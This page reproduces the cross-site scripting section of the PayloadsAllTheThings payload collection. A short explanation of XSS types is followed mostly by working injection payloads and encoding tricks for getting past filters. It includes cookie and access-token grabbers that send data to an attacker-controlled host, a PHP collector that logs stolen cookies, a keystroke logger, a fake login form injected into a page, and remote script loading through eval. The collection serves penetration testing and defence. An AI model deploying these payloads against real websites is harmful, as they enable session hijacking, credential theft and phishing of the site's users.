Skip to content

Payloads · Cross-site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

91 of 91 passages

Passages
  1. Cross Site Scripting
  2. Methodology
  3. Proof of Concept
  4. Data Grabber
  5. CORS
  6. UI Redressing
  7. Javascript Keylogger
  8. Other Ways
  9. Identify an XSS Endpoint
  10. Common Payloads
  11. XSS using HTML5 tags
  12. XSS using a remote JS
  13. XSS in Hidden Input
  14. XSS in Uppercase Output
  15. DOM Based XSS
  16. XSS in JS Context
  17. Wrapper javascript
  18. Wrapper data
  19. Wrapper vbscript
  20. XSS in Files
  21. XSS in XML
  22. XSS in SVG
  23. Short SVG Payload
  24. Nesting SVG and XSS
  25. XSS in Markdown
  26. XSS in CSS
  27. XSS in PostMessage
  28. XSS Hunter
  29. Other Blind XSS tools
  30. Blind XSS endpoint
  31. Tips
  32. Mutated XSS
  33. 1 - XSS Filter Bypass: Bypass Case Sensitive
  34. 1 - XSS Filter Bypass: Bypass Tag Blacklist
  35. 1 - XSS Filter Bypass: Bypass Word Blacklist with Code Evaluation
  36. 1 - XSS Filter Bypass: Bypass with Incomplete HTML Tag
  37. 1 - XSS Filter Bypass: Bypass Quotes for String
  38. 1 - XSS Filter Bypass: Bypass Quotes in Script Tag
  39. 1 - XSS Filter Bypass: Bypass Quotes in Mousedown Event
  40. 1 - XSS Filter Bypass: Bypass Dot Filter
  41. 1 - XSS Filter Bypass: Bypass Parenthesis for String
  42. 1 - XSS Filter Bypass: Bypass Parenthesis and Semi Colon
  43. 1 - XSS Filter Bypass: Bypass onxxxx Blacklist
  44. 1 - XSS Filter Bypass: Bypass Space Filter
  45. 1 - XSS Filter Bypass: Bypass Email Filter
  46. 1 - XSS Filter Bypass: Bypass Tel URI Filter
  47. 1 - XSS Filter Bypass: Bypass Document Blacklist
  48. 1 - XSS Filter Bypass: Bypass document.cookie Blacklist
  49. 1 - XSS Filter Bypass: Bypass using Javascript Inside a String
  50. 1 - XSS Filter Bypass: Bypass using an Alternate Way to Redirect
  51. 1 - XSS Filter Bypass: Bypass using an Alternate Way to Execute an Alert
  52. 1 - XSS Filter Bypass: Bypass ">" using Nothing
  53. 1 - XSS Filter Bypass: Bypass "<" and ">" using < and >
  54. 1 - XSS Filter Bypass: Bypass ";" using Another Character
  55. 1 - XSS Filter Bypass: Bypass using Missing Charset Header
  56. 1 - XSS Filter Bypass: ISO-2022-JP
  57. 1 - XSS Filter Bypass: Bypass using HTML Encoding
  58. 1 - XSS Filter Bypass: Bypass using Katakana
  59. 1 - XSS Filter Bypass: Bypass using Cuneiform
  60. 1 - XSS Filter Bypass: Bypass using Lontara
  61. 1 - XSS Filter Bypass: Bypass using ECMAScript6
  62. 1 - XSS Filter Bypass: Bypass using Octal encoding
  63. 1 - XSS Filter Bypass: Bypass using Unicode
  64. 1 - XSS Filter Bypass: Bypass using UTF-7
  65. 1 - XSS Filter Bypass: Bypass using UTF-8
  66. 1 - XSS Filter Bypass: Bypass using UTF-16be
  67. 1 - XSS Filter Bypass: Bypass using UTF-32
  68. 1 - XSS Filter Bypass: Bypass using BOM
  69. 1 - XSS Filter Bypass: Bypass using JSfuck
  70. 2 - XSS Polyglot: Polyglot XSS
  71. 3 - XSS Common WAF Bypass: Common WAF Bypass
  72. 3 - XSS Common WAF Bypass: Cloudflare
  73. 3 - XSS Common WAF Bypass: Chrome Auditor
  74. 3 - XSS Common WAF Bypass: Incapsula WAF
  75. 3 - XSS Common WAF Bypass: Akamai WAF
  76. 3 - XSS Common WAF Bypass: WordFence WAF
  77. 3 - XSS Common WAF Bypass: Fortiweb WAF
  78. 4 - CSP Bypass: CSP Bypass
  79. 4 - CSP Bypass: Bypass CSP using JSONP
  80. 4 - CSP Bypass: Bypass CSP default-src
  81. 4 - CSP Bypass: Bypass CSP inline eval
  82. 4 - CSP Bypass: Bypass CSP script-src self
  83. 4 - CSP Bypass: Bypass CSP script-src data
  84. 4 - CSP Bypass: Bypass CSP unsafe-inline
  85. 4 - CSP Bypass: Bypass CSP nonce
  86. 4 - CSP Bypass: Bypass CSP header sent by PHP
  87. 5 - XSS in Angular: Client Side Template Injection
  88. 5 - XSS in Angular: Stored/Reflected XSS
  89. 5 - XSS in Angular: Advanced Bypassing XSS
  90. 5 - XSS in Angular: Blind XSS
  91. 5 - XSS in Angular: Automatic Sanitization

Cross Site Scripting

SourceOn the Atlas

> Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

Methodology

SourceOn the Atlas

Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions. There are 3 main types of XSS attacks: - **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials. - **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions. - **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code. To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.

Proof of Concept

SourceOn the Atlas

When exploiting an XSS vulnerability, it’s more effective to demonstrate a complete exploitation scenario that could lead to account takeover or sensitive data exfiltration. Instead of simply reporting an XSS with an alert payload, aim to capture valuable data, such as payment information, personal identifiable information (PII), session cookies, or credentials.

Data Grabber

SourceOn the Atlas

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

Write the collected data into a file.

<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

CORS

SourceOn the Atlas
<script>
  fetch('https://[ATTACKER.DOMAIN.TLD]', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>

UI Redressing

SourceOn the Atlas

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

Javascript Keylogger

SourceOn the Atlas

Another way to collect sensitive data is to set a javascript keylogger.

<img src=x onerror='document.onkeypress=function(e){fetch("http://[ATTACKER.DOMAIN.TLD]/?k="+String.fromCharCode(e.which))},this.remove();'>

Other Ways

SourceOn the Atlas

More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://web.archive.org/web/20120426084546/https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) - [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/) - [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html) - [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html) - [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html) - [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)

Identify an XSS Endpoint

SourceOn the Atlas

This payload opens the debugger in the developer console rather than triggering a popup alert box.

<script>debugger;</script>

Modern applications with content hosting can use [sandbox domains][sandbox-domains] > to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data. [sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing. Better payload replacing `<script>alert(1)</script>`:

<script>alert(document.domain.concat("\n").concat(window.origin))</script>

While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developer console (doesn't require any interaction). Example:

<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

Additional reading: - [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain) - [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c) - [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/)

Common Payloads

SourceOn the Atlas
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

XSS using HTML5 tags

SourceOn the Atlas
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.

XSS using a remote JS

SourceOn the Atlas
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)

XSS in Hidden Input

SourceOn the Atlas
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

in newer browsers : firefox-130/chrome-108

<input type="hidden" oncontentvisibilityautostatechange="alert(1)"  style="content-visibility:auto" >

XSS in Uppercase Output

SourceOn the Atlas
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>

XSS in JS Context

SourceOn the Atlas
-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)

Wrapper javascript

SourceOn the Atlas
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)

Wrapper data

SourceOn the Atlas
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

XSS in Files

SourceOn the Atlas

**NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

Data as of 2026-11-14.

Updated AboutDevelopersSign in